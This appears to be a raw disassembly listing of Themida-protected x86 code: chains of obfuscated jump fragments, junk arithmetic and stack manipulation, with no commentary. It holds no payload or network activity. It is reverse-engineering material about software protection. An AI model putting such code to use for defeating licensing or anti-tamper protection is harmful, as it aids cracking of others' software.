		xor	eax, 133AF0BBh
		mov	ebp, eax
		jmp	loc_58DFC0
; ---------------------------------------------------------------------------


loc_58DAB8:				; CODE XREF: sub_584787+25D2j
		dec	ebx
		sub	ebx, 0A0E72126h
		xor	eax, ebx
		jmp	loc_587009
; ---------------------------------------------------------------------------


loc_58DAC6:				; CODE XREF: sub_584787+294Ej
		mov	edx, 5BBC178Bh
		not	edx
		jmp	loc_58AFE3
; ---------------------------------------------------------------------------


loc_58DAD2:				; CODE XREF: sub_584787+AF85j
		pop	edx
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	[esp+8+var_4]
		pop	ebp
		jmp	loc_58D9BC
; ---------------------------------------------------------------------------


loc_58DAE3:				; CODE XREF: sub_584787+6805j
		dec	eax
		push	ecx
		push	291D0004h
		pop	ecx
		shr	ecx, 6
		inc	ecx
		push	edi
		mov	edi, 25BC52A4h
		neg	edi
		jmp	loc_58535C
; ---------------------------------------------------------------------------


loc_58DAFC:				; CODE XREF: sub_584787+98E1j
		pop	eax
		push	edi
		mov	edi, 5421928h
		sub	edi, 5421926h
		jmp	loc_5851CF
; ---------------------------------------------------------------------------


loc_58DB0E:				; CODE XREF: sub_584787+4C0Fj
		xor	ebx, 0EFEDDDFFh
		add	esi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_584BE5
; ---------------------------------------------------------------------------


loc_58DB29:				; CODE XREF: sub_58FF73+7j
		sub	[esp+4], ecx
		pop	ecx
		mov	ecx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		jmp	loc_58C9E9
; ---------------------------------------------------------------------------


loc_58DB45:				; CODE XREF: sub_584787+AA2Fj
		shl	ebx, 5
		jmp	loc_58BBC1
; ---------------------------------------------------------------------------


loc_58DB4D:				; CODE XREF: sub_584787+A5B6j
		pop	esi
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		dec	dword ptr [esp+0]
		pushf
		jmp	loc_5888A6
; ---------------------------------------------------------------------------


loc_58DB5D:				; CODE XREF: sub_584787+1E3j
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		add	ebp, 4
		jmp	loc_588DD6
; ---------------------------------------------------------------------------


loc_58DB6C:				; CODE XREF: sub_584787+3BA2j
		mov	ebp, esi
		pop	esi
		jmp	loc_5859B5
; ---------------------------------------------------------------------------


loc_58DB74:				; DATA XREF: Themida_:005841F4o
		mov	cx, word ptr [esp+10h+var_10]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+14h+var_14]
		pop	esp
		mov	[esp+10h+var_10], eax
		push	63FBh
		mov	[esp+14h+var_14], esp
		add	[esp+14h+var_14], 4
		pop	eax
		add	eax, 4
		push	ebx
		jmp	loc_58A510
; ---------------------------------------------------------------------------


loc_58DBA9:				; CODE XREF: sub_584787+7B1Fj
		mov	ebp, 3CBA5FEDh
		jmp	loc_58A768
; ---------------------------------------------------------------------------


loc_58DBB3:				; CODE XREF: sub_584787+9A4Aj
		mov	edx, 702519BFh
		jmp	loc_58CF8A
; ---------------------------------------------------------------------------


loc_58DBBD:				; DATA XREF: Themida_:00584414o
		push	dword ptr [esp+0]
		mov	ecx, [esp+2Ch+var_2C]
		add	esp, 4
		push	ebx
		push	esp
		mov	ebx, [esp+30h+var_30]
		add	esp, 4
		add	ebx, 4
		push	edx
		mov	edx, 6F0C0F6Fh
		or	edx, 5C092F62h
		neg	edx
		xor	edx, 80F2D095h
		add	ebx, 6DD47457h
		jmp	loc_58E8DF
; ---------------------------------------------------------------------------


loc_58DBF6:				; CODE XREF: sub_584787+2230j
		mov	[esp+2Ah+var_2C+2], ebx
		push	edi
		push	esi
		mov	esi, 2
		push	edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		pop	esi
		mov	ebx, edi
		pop	edi
		add	eax, 63321A6Ah
		add	eax, ebx
		jmp	loc_588123
; ---------------------------------------------------------------------------


loc_58DC16:				; CODE XREF: sub_584787+A61j
		add	ah, 5Dh
		add	ah, 0F0h
		jmp	loc_58AAE7
; ---------------------------------------------------------------------------


loc_58DC21:				; CODE XREF: sub_584787+7BCEj
		pop	ebp
		jmp	sub_5845B8
; ---------------------------------------------------------------------------


loc_58DC27:				; CODE XREF: sub_584787+2FB0j
		add	dl, 0C5h
		mov	al, dl
		pop	edx
		push	ebx
		mov	bl, al
		mov	cl, bl
		pop	ebx
		jmp	loc_587F13
; ---------------------------------------------------------------------------


loc_58DC38:				; CODE XREF: sub_584787+127Cj
		add	esp, 4
		add	eax, edi
		pop	edi
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		jmp	loc_58EDEF
; ---------------------------------------------------------------------------


loc_58DC4C:				; CODE XREF: sub_584787+8A55j
		inc	al
		add	al, 30h
		sub	bl, 4Dh
		jmp	loc_58849B
; ---------------------------------------------------------------------------


loc_58DC58:				; CODE XREF: sub_584787+3ACEj
		add	eax, 2
		xor	eax, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], eax
		xor	eax, [esp+5Ah+var_5C+2]
		pop	esp
		push	esi
		sub	esp, 4
		mov	[esp+5Eh+var_60+2], edx
		jmp	loc_58B0F7
; ---------------------------------------------------------------------------


loc_58DC71:				; CODE XREF: sub_584787+A4E0j
		dec	esi
		jmp	loc_58D6FA
; ---------------------------------------------------------------------------


loc_58DC77:				; CODE XREF: sub_584787+AFADj
		pop	ecx
		push	ebp
		jmp	loc_58C33F
; ---------------------------------------------------------------------------


loc_58DC7E:				; CODE XREF: sub_584787+1D81j
		add	edx, ebx
		mov	ebx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_58496F
; ---------------------------------------------------------------------------


loc_58DC8E:				; CODE XREF: sub_584787+6D9Aj
		shr	ebx, 2
		shr	ebx, 6
		sub	ebx, 507E5A03h
		jmp	loc_5852B6
; ---------------------------------------------------------------------------


loc_58DC9F:				; CODE XREF: sub_584787+5C72j
		pop	esp
		xchg	esi, [esp+8+var_8]
		jmp	loc_58E656
; ---------------------------------------------------------------------------


loc_58DCA8:				; CODE XREF: sub_584787+9B99j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+8+var_8]
		jmp	loc_58AD85
; ---------------------------------------------------------------------------


loc_58DCBC:				; CODE XREF: sub_584787+BAD9j
		shr	eax, 2
		add	eax, 16C0482Bh
		inc	eax
		jmp	loc_586F75
; ---------------------------------------------------------------------------


loc_58DCCA:				; CODE XREF: sub_584787+6EF2j
		sub	edx, ecx
		jmp	loc_5884D0
; ---------------------------------------------------------------------------


loc_58DCD1:				; CODE XREF: Themida_:0058F5ABj
		push	2B512F9Dh
		jmp	loc_58E9EF
; ---------------------------------------------------------------------------


loc_58DCDB:				; CODE XREF: sub_584787-250j
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		xor	eax, [esp-8+arg_4]
		jmp	loc_5846F7
; ---------------------------------------------------------------------------


loc_58DCEC:				; CODE XREF: sub_584787+5D1Dj
		mov	bh, 2Ch
		jmp	loc_5906BE
; ---------------------------------------------------------------------------


loc_58DCF3:				; CODE XREF: sub_584787+29FDj
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58DCF8:				; CODE XREF: sub_584787+5A71j
		add	ecx, 4
		jmp	loc_58FE8E
; ---------------------------------------------------------------------------


loc_58DD00:				; CODE XREF: sub_584787+A6AAj
		not	ecx
		sub	ecx, 7E731FC3h
		inc	ecx
		xor	ecx, 715D6785h
		add	ecx, 0F36C5C3Ch
		mov	esi, ecx
		pop	ecx
		add	esi, 0B814B00Bh
		mov	edx, esi
		pop	esi
		add	esi, edx
		pop	edx
		jmp	loc_5899E4
; ---------------------------------------------------------------------------


loc_58DD29:				; DATA XREF: Themida_:0058431Co
		neg	word ptr [esp+30h+var_30]
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58DD33:				; DATA XREF: Themida_:005841BCo
		mov	cx, word ptr [esp+34h+var_34]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+3Ch+var_3C], edx
		push	ecx
		push	1C4F4A1Bh
		push	[esp+44h+var_46+2]
		pop	ecx
		jmp	loc_58B582
; ---------------------------------------------------------------------------


loc_58DD58:				; CODE XREF: sub_584787+5CF4j
		mov	esi, [esp+18h+var_18]
		add	esp, 4
		neg	edi
		inc	edi
		xor	edi, 0BC29CC70h
		jmp	loc_587574
; ---------------------------------------------------------------------------


loc_58DD6C:				; CODE XREF: sub_584787+128Aj
		pop	[esp-14h+arg_E+2]
		mov	esp, [esp-18h+arg_12+2]
		mov	ax, word ptr [esp-18h+arg_12+2]
		jmp	loc_58F6E7
; ---------------------------------------------------------------------------


loc_58DD7B:				; CODE XREF: sub_584787+6D9j
		pop	edx
		xor	eax, 5D162E3Ah
		sub	eax, 0D90CA4C6h
		and	ecx, eax
		push	[esp+20h+var_20]
		jmp	loc_58A006
; ---------------------------------------------------------------------------


loc_58DD90:				; CODE XREF: sub_584787+9F9Aj
		pop	esp
		mov	[esp+20h+var_20], ebx
		push	esi
		mov	esi, 79E170DBh
		sub	esi, 0D3E0260h
		shr	esi, 6
		shr	esi, 1
		sub	esi, 0EE313532h
		mov	ebx, esi
		pop	esi
		and	ebx, 2E0B7FF5h
		jmp	loc_586A9A
; ---------------------------------------------------------------------------


loc_58DDB9:				; CODE XREF: sub_584787+B0C7j
		add	ah, dh
		pop	edx
		mov	bl, ah
		jmp	loc_590378
; ---------------------------------------------------------------------------


loc_58DDC3:				; CODE XREF: sub_584787+4548j
		mov	dx, 2825h
		jmp	loc_58C913
; ---------------------------------------------------------------------------


loc_58DDCC:				; CODE XREF: sub_584787+3EDDj
		mov	[esp+2Ah+var_2C+2], edx
		mov	edx, esp
		push	ebx
		mov	ebx, 70890878h
		add	ebx, 8F76F78Ch
		jmp	loc_585CBB
; ---------------------------------------------------------------------------


loc_58DDE2:				; CODE XREF: sub_584787+EF2j
		mov	[esp-14h+arg_E+2], ebp
		push	ecx
		mov	ecx, 0D7678EAh
		mov	ebp, ecx
		mov	ecx, [esp+0]
		jmp	loc_58FE48
; ---------------------------------------------------------------------------


loc_58DDF5:				; CODE XREF: sub_584787+320Aj
		mov	edx, 6FA764C3h
		xor	edx, eax
		pop	eax
		shr	edx, 7
		jmp	loc_586380
; ---------------------------------------------------------------------------


loc_58DE05:				; CODE XREF: sub_584787+1A55j
		sub	bl, dl
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		add	al, bl
		pop	ebx
		push	ecx
		mov	ch, 17h
		and	ch, 0A4h
		sub	ch, 46h
		add	al, ch
		jmp	loc_58BF53
; ---------------------------------------------------------------------------


loc_58DE20:				; CODE XREF: sub_584787+50C7j
		dec	ah
		or	ah, 0D7h
		dec	ah
		jmp	loc_58F2E6
; ---------------------------------------------------------------------------


loc_58DE2C:				; CODE XREF: sub_584787+4422j
		push	ebx
		mov	ebx, 6D872C5Ah
		and	ebx, 664110A1h
		jmp	loc_58A778
; ---------------------------------------------------------------------------


loc_58DE3D:				; CODE XREF: sub_584787+8461j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		push	ebp
		push	ecx
		jmp	loc_584CF8
; ---------------------------------------------------------------------------


loc_58DE4D:				; CODE XREF: sub_584787+EC9j
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		jmp	loc_58FEFB
; ---------------------------------------------------------------------------


loc_58DE62:				; CODE XREF: sub_584787+A4FEj
		mov	ebx, 510611D3h
		jmp	loc_587919
; ---------------------------------------------------------------------------


loc_58DE6C:				; CODE XREF: sub_584787+5045j
		mov	edi, 2
		add	ecx, edi
		pop	edi
		xor	ecx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], ecx
		xor	ecx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		sar	[esp+0Ch+var_C], cl
		pushf
		jmp	loc_58CAAC
; ---------------------------------------------------------------------------


loc_58DE89:				; CODE XREF: sub_584787+7408j
		push	ecx
		push	78657E75h
		pop	ecx
		mov	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 7F153D61h
		and	ebp, edx
		jmp	loc_58F3D0
; ---------------------------------------------------------------------------


loc_58DEA0:				; CODE XREF: sub_584787+2546j
		add	eax, 5B3E58A5h
		sub	eax, 77174267h
		pop	esi
		jmp	loc_586FC8
; ---------------------------------------------------------------------------


loc_58DEB0:				; CODE XREF: sub_584787+4481j
		mov	[esp+4+var_4], ebx
		push	ecx
		mov	ecx, 0FFF036Eh
		jmp	loc_586997
; ---------------------------------------------------------------------------


loc_58DEBE:				; CODE XREF: sub_584787+15Dj
		sub	eax, 637F5790h
		mov	edx, [esp+14h+var_14]
		jmp	loc_58CF77
; ---------------------------------------------------------------------------


loc_58DECB:				; CODE XREF: sub_584787+264Aj
		xor	al, bh
		pop	bx
		push	eax
		jmp	loc_586F37
; ---------------------------------------------------------------------------


loc_58DED5:				; CODE XREF: sub_584787+5225j
		mov	[esp+0Ch+var_C], eax
		jmp	loc_589088
; ---------------------------------------------------------------------------


loc_58DEDD:				; CODE XREF: sub_584787+2D78j
		add	esp, 4
		sub	bl, cl
		pop	ecx
		push	59B8h
		jmp	loc_585312
; ---------------------------------------------------------------------------


loc_58DEED:				; CODE XREF: sub_584787+B1F2j
		mov	ecx, 4
		jmp	loc_5869D8
; ---------------------------------------------------------------------------


loc_58DEF7:				; CODE XREF: sub_584787+7AEEj
		xor	[esp-18h+arg_12+2], edi
		xor	edi, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		sub	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58DF0A:				; CODE XREF: sub_584787+41D0j
		add	esi, 41744707h
		xor	esi, 3EF62AC6h
		shl	esi, 7
		jmp	loc_58AA95
; ---------------------------------------------------------------------------


loc_58DF1E:				; CODE XREF: sub_584787+4E46j
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		pop	eax
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, esp
		push	ebx
		push	esi
		jmp	loc_58EF0B
; ---------------------------------------------------------------------------


loc_58DF37:				; CODE XREF: sub_584787+4EB0j
		dec	edi
		shl	edi, 5
		add	edi, 7E7C705Eh
		dec	edi
		or	edi, 16C3231Ah
		jmp	loc_58A58E
; ---------------------------------------------------------------------------


loc_58DF4D:				; CODE XREF: sub_584787+B5j
		add	edi, edx
		pop	edx
		jmp	loc_589A4D
; ---------------------------------------------------------------------------


loc_58DF55:				; CODE XREF: sub_584787+83F1j
		pop	edi
		add	edi, 22887672h
		pop	ebx
		and	edi, 4E7954F9h
		add	edi, 741445C5h
		mov	ebx, edi
		pop	edi
		jmp	loc_58A654
; ---------------------------------------------------------------------------


loc_58DF71:				; CODE XREF: sub_584787+4C85j
		xor	eax, 2EA60752h
		push	small word ptr [eax]
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58DF7E:				; CODE XREF: sub_584787+43B3j
		mov	esi, esp
		add	esi, 4
		push	ebx
		push	eax
		push	5B9D7662h
		pop	eax
		add	eax, 0A46289A2h
		mov	ebx, eax
		pop	eax
		sub	esi, 36AF5CB9h
		add	esi, ebx
		jmp	loc_5901E0
; ---------------------------------------------------------------------------


loc_58DFA3:				; CODE XREF: sub_584787+6C06j
		mov	edi, 7C625870h
		jmp	loc_58D848
; ---------------------------------------------------------------------------


loc_58DFAD:				; CODE XREF: sub_584787-75j
		pop	ebx
		pop	ecx
		push	ebx
		push	edx
		mov	dh, al
		push	eax
		jmp	loc_588B8F
; ---------------------------------------------------------------------------


loc_58DFB9:				; CODE XREF: sub_584787+8BDEj
		dec	bh
		jmp	loc_58ACEF
; ---------------------------------------------------------------------------


loc_58DFC0:				; CODE XREF: sub_584787+932Cj
		push	[esp-1Ch+arg_18]
		pop	eax
		jmp	loc_586EA6
; ---------------------------------------------------------------------------


loc_58DFC9:				; CODE XREF: sub_584787+74F1j
		xchg	ebx, [esp+2Eh+var_30+2]
		mov	ebx, [esp+2Eh+var_30+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C784
; ---------------------------------------------------------------------------


loc_58DFE3:				; DATA XREF: Themida_:00584328o
		push	[esp+32h+var_34+2]
		pop	eax
		push	ebx
		push	esp
		mov	ebx, [esp+3Ah+var_3C+2]
		add	esp, 4
		push	4CD5h
		mov	[esp+3Ah+var_3C+2], esi
		push	ebx
		jmp	loc_585901
; ---------------------------------------------------------------------------


loc_58E000:				; CODE XREF: sub_584787+BC4Aj
		mov	edx, ebp
		pop	ebp
		jmp	loc_5891C3
; ---------------------------------------------------------------------------


loc_58E008:				; CODE XREF: sub_584787+14F6j
		and	ecx, edi
		push	[esp+54h+var_54]
		jmp	loc_58FA5F
; ---------------------------------------------------------------------------


loc_58E012:				; CODE XREF: sub_584787+9EA8j
		sub	ebx, 230B71A2h
		add	ebx, eax
		jmp	loc_58684D
; ---------------------------------------------------------------------------


loc_58E01F:				; CODE XREF: sub_584787+B775j
		xchg	ebx, [esp+58h+var_58]
		jmp	loc_587161
; ---------------------------------------------------------------------------


loc_58E027:				; CODE XREF: sub_584787+5463j
		push	edx
		mov	dl, 0CCh
		sub	dl, 7Bh
		push	ebx
		mov	bl, 57h
		or	bl, 0D8h
		neg	bl
		jmp	loc_5905E2
; ---------------------------------------------------------------------------


loc_58E03A:				; CODE XREF: sub_584787+79EDj
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		jmp	loc_58644D
; ---------------------------------------------------------------------------


loc_58E045:				; CODE XREF: sub_584787+D5Dj
		and	ebp, 5B0E6B85h
		add	ebp, 0D5D6054h
		add	ecx, ebp
		pop	ebp
		add	ecx, eax
		sub	ecx, 156369D8h
		add	ecx, 63CD4EAEh
		add	ecx, 2663767h
		jmp	loc_58DAFC
; ---------------------------------------------------------------------------


loc_58E06D:				; CODE XREF: sub_584787+218Bj
		mov	ecx, 4
		sub	esi, 357C7E01h
		add	esi, ecx
		jmp	loc_5850EE
; ---------------------------------------------------------------------------


loc_58E07F:				; CODE XREF: sub_584787+85A4j
		add	[esp+10h+var_10], 71CC54BDh
		pop	eax
		sub	eax, 71CC54BDh
		jmp	loc_58828B
; ---------------------------------------------------------------------------


loc_58E091:				; CODE XREF: sub_584787+897j
		push	9A5h
		mov	[esp+1Ch+var_1C], ebx
		mov	ebx, 2
		mov	ecx, ebx
		pop	ebx
		sub	esi, 71A842CAh
		add	esi, ecx
		jmp	loc_584864
; ---------------------------------------------------------------------------


loc_58E0AE:				; CODE XREF: sub_584787+ABE6j
		mov	[esp+18h+var_18], ebp
		jmp	loc_584583
; ---------------------------------------------------------------------------


loc_58E0B6:				; CODE XREF: sub_584787-67j
		mov	word ptr [esp-4+arg_0],	dx
		mov	dx, 1FBEh
		sub	bx, dx
		pop	dx
		movzx	eax, ax
		push	2DE4h
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_585FF5
; ---------------------------------------------------------------------------


loc_58E0E1:				; CODE XREF: sub_584787+511Fj
		mov	esp, [esp-8+arg_4]
		push	383h
		jmp	loc_5892DE
; ---------------------------------------------------------------------------


loc_58E0EE:				; CODE XREF: sub_584787+9099j
		add	edi, 486F3473h
		and	edi, 38911B8Bh
		not	edi
		jmp	loc_58D3CC
; ---------------------------------------------------------------------------


loc_58E101:				; CODE XREF: sub_584787+849Cj
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58F8ED
; ---------------------------------------------------------------------------


loc_58E114:				; CODE XREF: sub_584787+9C09j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_586A74
; ---------------------------------------------------------------------------


loc_58E125:				; CODE XREF: sub_584787+87EBj
		pop	esi
		add	edx, eax
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	edx, 2
		xchg	edx, [esp+4+var_4]
		pop	esp
		rol	byte ptr [esp+0], cl
		pushf
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E141:				; CODE XREF: sub_584787+735Ej
		push	eax
		jmp	loc_58E3A9
; ---------------------------------------------------------------------------


loc_58E147:				; CODE XREF: sub_584787+AB9Bj
		mov	ecx, 1CE20068h
		xor	ecx, 1CE2006Ch
		add	ebx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 2
		add	ebx, ebp
		mov	ebp, [esp+14h+var_14]
		jmp	loc_5885FB
; ---------------------------------------------------------------------------


loc_58E165:				; CODE XREF: sub_584787+7F06j
		push	24D97AC2h
		pop	ecx
		jmp	loc_58915E
; ---------------------------------------------------------------------------


loc_58E170:				; CODE XREF: sub_584787+B714j
		or	[edi+1Ch], esi
		push	[esp+3Ch+var_3C]
		mov	esi, [esp+40h+var_42+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E187:				; CODE XREF: sub_584787+70E4j
		mov	ebp, ecx
		mov	ecx, [esp+20h+var_20]
		add	esp, 4
		pop	eax
		jmp	loc_5892C2
; ---------------------------------------------------------------------------


loc_58E195:				; CODE XREF: sub_584787+7A75j
		mov	edi, 66B75723h
		xor	edi, 66B75727h
		mov	ecx, edi
		pop	edi
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	[esp+4Ah+var_46]
		pop	edx
		pop	dword ptr [esp+0]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+46h+var_46]
		pop	esp
		add	esp, 4
		push	49D2h
		mov	[esp+42h+var_42], edx
		jmp	loc_58DBB3
; ---------------------------------------------------------------------------


loc_58E1D6:				; CODE XREF: sub_584787+74B5j
		mov	bh, 2
		jmp	loc_58C946
; ---------------------------------------------------------------------------


loc_58E1DD:				; DATA XREF: Themida_:005842B4o
		lodsb
		xor	al, bl
		push	cx
		sub	esp, 4
		mov	[esp+24h+var_26+2], edx
		jmp	loc_587B6B
; ---------------------------------------------------------------------------


loc_58E1ED:				; CODE XREF: sub_584787+724Fj
		inc	ecx
		push	ebx
		jmp	loc_585655
; ---------------------------------------------------------------------------


loc_58E1F4:				; CODE XREF: sub_584787+19D0j
		mov	edx, 4
		sub	ecx, 55E95B95h
		add	ecx, edx
		push	esi
		mov	esi, 55E95B95h
		add	ecx, esi
		pop	esi
		jmp	loc_586A3F
; ---------------------------------------------------------------------------


loc_58E20F:				; CODE XREF: sub_584787-1D4j
		xchg	edx, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		jmp	loc_58CE10
; ---------------------------------------------------------------------------


loc_58E21A:				; CODE XREF: sub_584787+1393j
		mov	ecx, 60A5B4Ch
		push	0FCAh
		mov	[esp+1Ch+var_1C], ecx
		xchg	ecx, [esp+1Ch+var_1C]
		not	ecx
		push	ecx
		push	[esp+20h+var_1C]
		pop	ecx
		pop	[esp+20h+var_20]
		pop	ecx
		jmp	loc_58C584
; ---------------------------------------------------------------------------


loc_58E23B:				; CODE XREF: sub_584787+783Ej
		add	edi, 3277C134h
		jmp	loc_58B4A6
; ---------------------------------------------------------------------------


loc_58E246:				; CODE XREF: sub_584787+3E1Aj
		xchg	ebx, esi
		not	ebx
		xchg	ebx, esi
		and	esi, 1C29550Bh
		jmp	loc_58AD98
; ---------------------------------------------------------------------------


loc_58E257:				; CODE XREF: sub_584787+33EAj
		mov	dl, bh
		push	[esp+20h+var_20]
		jmp	loc_58BA61
; ---------------------------------------------------------------------------


loc_58E261:				; DATA XREF: Themida_:005842ACo
		push	[esp+24h+var_26+2]
		pop	eax
		push	0AF9h
		mov	[esp+0], ebx
		mov	ebx, esp
		jmp	loc_58B227
; ---------------------------------------------------------------------------


loc_58E274:				; CODE XREF: sub_584787+824j
		pop	esp
		push	ecx
		jmp	loc_5884B3
; ---------------------------------------------------------------------------


loc_58E27B:				; CODE XREF: sub_584787+374Dj
		pop	[esp+4Ch+var_4E+2]
		pop	esp
		push	2DAAh
		mov	[esp+0], edx
		jmp	loc_58F03D
; ---------------------------------------------------------------------------


loc_58E28C:				; CODE XREF: sub_584787+74C1j
		xor	[esp+4Ch+var_4E+2], edx
		xor	edx, [esp+4Ch+var_4E+2]
		jmp	loc_588912
; ---------------------------------------------------------------------------


loc_58E297:				; CODE XREF: sub_584787+B1DDj
		mov	esi, 4
		jmp	loc_587E23
; ---------------------------------------------------------------------------


loc_58E2A1:				; DATA XREF: Themida_:005843DCo
		mov	cx, word ptr [esp+4Ch+var_4E+2]
		push	4BE1h
		mov	[esp], ebx
		push	esp
		push	[esp+54h+var_54]
		jmp	loc_58B2A3
; ---------------------------------------------------------------------------


loc_58E2B6:				; CODE XREF: sub_584787+8152j
		or	ecx, 5AF814A1h
		jmp	loc_58B89A
; ---------------------------------------------------------------------------


loc_58E2C1:				; CODE XREF: sub_584787+BC20j
		xor	ebp, [esp+18h+var_18]
		jmp	loc_584818
; ---------------------------------------------------------------------------


loc_58E2C9:				; CODE XREF: sub_584787+144Bj
		push	24F3h
		push	esp
		pop	dword ptr [esp+0]
		jmp	loc_589582
; ---------------------------------------------------------------------------


loc_58E2D7:				; CODE XREF: sub_584787+2354j
		mov	esp, [esp+4+var_4]
		mov	cx, word ptr [esp+4+var_4]
		push	5CBFh
		mov	[esp+8+var_8], ebx
		push	755Eh
		jmp	loc_585FED
; ---------------------------------------------------------------------------


loc_58E2F0:				; CODE XREF: sub_584787+709Dj
		mov	esp, [esp-14h+arg_E+2]
		jmp	loc_58BD2E
; ---------------------------------------------------------------------------


loc_58E2F8:				; CODE XREF: sub_584787+912Ej
		add	eax, ebp
		pop	ebp
		mov	ecx, eax
		pop	eax
		jmp	loc_58F271
; ---------------------------------------------------------------------------


loc_58E303:				; CODE XREF: sub_584787+A4ACj
		push	[esp+2Ah+var_26]
		mov	ebx, [esp+2Eh+var_30+2]
		add	esp, 4
		pop	[esp+2Ah+var_2C+2]
		pop	esp
		mov	ax, [esp+0]
		jmp	loc_588173
; ---------------------------------------------------------------------------


loc_58E31A:				; CODE XREF: sub_584787+9EDAj
		mov	ecx, [esp+0]
		add	esp, 4
		jmp	loc_58DCA8
; ---------------------------------------------------------------------------


loc_58E325:				; CODE XREF: sub_584787+4CFAj
		push	small 1558h
		mov	word ptr [esp+1Ah+var_1C+2], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


loc_58E332:				; CODE XREF: sub_584787+1F23j
		mov	[esp+0], esi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+72h+var_74+2]
		pop	esp
		jmp	loc_588E5B
; ---------------------------------------------------------------------------


loc_58E34A:				; CODE XREF: sub_584787+AB3Dj
		push	1CEh
		jmp	loc_589696
; ---------------------------------------------------------------------------


loc_58E354:				; CODE XREF: sub_584787+570Cj
		push	esp
		mov	edx, [esp+26h+var_26]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp+2Ah+var_2C+2], esi
		push	4CB61BA3h
		jmp	loc_58B542
; ---------------------------------------------------------------------------


loc_58E36F:				; CODE XREF: sub_584787+BD22j
		pop	edi
		push	esi
		mov	esi, 2
		add	edx, esi
		pop	esi
		xchg	edx, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		push	6452h
		mov	[esp+2Eh+var_30+2], ebx
		push	0
		push	[esp+32h+var_34+2]
		pop	ebx
		jmp	loc_58E114
; ---------------------------------------------------------------------------


loc_58E395:				; CODE XREF: sub_584787+3D6Aj
		mov	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		mov	dword ptr [edi+20h], 6D4746D6h
		jmp	loc_58C20D
; ---------------------------------------------------------------------------


loc_58E3A9:				; CODE XREF: sub_584787+99BBj
		push	51D2057h
		pop	eax
		shl	eax, 4
		jmp	loc_5848E9
; ---------------------------------------------------------------------------


loc_58E3B7:				; CODE XREF: sub_584787+3D5Dj
		add	ecx, 4
		xchg	ecx, [esp+3Ch+var_3C]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_58E8D4
; ---------------------------------------------------------------------------


loc_58E3CA:				; CODE XREF: sub_584787+35C7j
		sub	[esp+10h+var_C], 48C12319h
		mov	ecx, [esp+10h+var_10]
		jmp	loc_58C497
; ---------------------------------------------------------------------------


loc_58E3DA:				; CODE XREF: sub_584787+94j
		mov	cx, word ptr [esp+14h+var_14]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	10F0h
		jmp	loc_5895AF
; ---------------------------------------------------------------------------


loc_58E3F1:				; CODE XREF: sub_584787+B431j
		pop	ebp
		mov	eax, [ebx]
		pop	ebx
		push	ebp
		mov	ebp, 76DC7A91h
		sub	ebp, 0FFFFFFFFh
		push	ebx
		mov	ebx, 79C86A1Ah
		xor	ebx, 289F697Bh
		shr	ebx, 1
		xor	ebx, 61D1785Ch
		xor	ebx, 7C349C3Ah
		add	ebp, 6844171Fh
		sub	ebp, ebx
		sub	ebp, 6844171Fh
		pop	ebx
		sub	ebp, 49D9114Bh
		shr	ebp, 1
		jmp	loc_586F3F
; ---------------------------------------------------------------------------


loc_58E437:				; DATA XREF: Themida_:00584394o
		lodsd
		jmp	loc_58AB71
; ---------------------------------------------------------------------------


loc_58E43D:				; CODE XREF: sub_584787+5A37j
		sub	edx, esi
		add	edx, 626C253Eh
		push	[esp+0Ah+var_C+2]
		pop	esi
		add	esp, 4
		xchg	edx, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		mov	word ptr [esp+6+var_8+2], ax
		jmp	loc_584473
; ---------------------------------------------------------------------------


